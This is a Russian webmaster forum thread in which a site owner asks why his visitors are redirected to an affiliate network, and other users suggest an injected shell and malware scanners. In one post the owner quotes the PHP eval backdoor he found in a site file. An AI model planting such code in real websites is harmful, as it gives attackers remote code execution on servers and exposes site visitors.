Странные переходы с сайта на какую-то партнерку

AI
На сайте с 18.06.2015
Offline
25
1778

Всем привет.

Заметил, что около месяца назад статистика liveinternet моего сайта стала показывать переходы пользователей с моего сайта на сайт uniontraff.com. Погуглил - оказалось какая-то партнерка. Я с партнерками вообще не работал никогда, на сайте только Адсенс стоит.

Подскажите пожалуйста, как это может происходить и как это прекратить? Буду рад за помощь и совет, так как сам не большой специалист.

proff1
На сайте с 27.07.2012
Offline
105
#1

Надо сайт проверять на дыры. Посмотрите айболит для сайтов. Там есть бесплатный онлайн сканер. Так же возможно это переходы от людей, которые устанавливают дополнительные модули рекламы в браузер...

Агрегатор вакансий, который заставит вас сменить работу - https://www.job.town Новостная рекламная сеть - https://smi.expert
AI
На сайте с 18.06.2015
Offline
25
#2
pbko:
Скорее всего вам шелл залили

А можно поподробнее, что это и что делать?

Samail
На сайте с 10.05.2007
Offline
361
#3

Если переходы единичные и на сайт ходят постоянные посетители, то возможно кто-то из них вирус какой подцепил. Если много переходов то ищите у себя. https://revisium.com/ai/

S
На сайте с 28.02.2017
Offline
2
#4

Вообщем т да, да Ваш сайт закинули "вирус", который производит какие-то не произвольные вещи, через айболит можете проверить, либо попросить из знакомых, кто шарит в этом, чтоб код посмотрел

adel92
На сайте с 04.01.2012
Offline
334
#5

Нужно как минимум банально, поискать в файлах

grep -rl "имя_партнерки" /путь/к/сайту/

Если не даст результатов, то БД тоже проверить на наличие.

Ну и как сказали выше - проверить айболитом.

NVMe VDS (https://well-web.net/nvme-vps) с поддержкой 24/7 - от 545 руб.! Безлимитный хостинг (https://well-web.net/ssd-hosting) - от 129 руб.! Домен в подарок! Перенос бесплатно! Заказывайте сейчас, и получите скидку 50%! Заходи! (https://well-web.net/limited-offers)
AI
На сайте с 18.06.2015
Offline
25
#6

В общем нашел такой код в одном файле

<?php eval
( @stripslashes( @$_REQUEST["YCKdAcMQBWQXZAnhulJX"] ) );

Попробую удалить.

Maxim-KL
На сайте с 26.01.2011
Offline
350
#7

ActiveInvestor, Не надо удалять все подозрительное. Пройдитесь по сайту Ai-Bolit ом, если что есть он покажет и тогда уже решите как это удалять. Пользоваться ним очень просто, даже самый чайник без проблем разберется...

Мои услуги по прогонам: ✅Качественный ручной статейный прогон по базе сайтов с ИКС10+ (maximgroups.net/progon-statejnyj) ✅Прогон Максимум - Все включено, 300+ качественных ссылок (maximgroups.net/progon-maksimum)
AI
На сайте с 18.06.2015
Offline
25
#8
Maxim-KL:
ActiveInvestor, Не надо удалять все подозрительное. Пройдитесь по сайту Ai-Bolit ом, если что есть он покажет и тогда уже решите как это удалять. Пользоваться ним очень просто, даже самый чайник без проблем разберется...

Он мне как раз на эту штуку указал.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий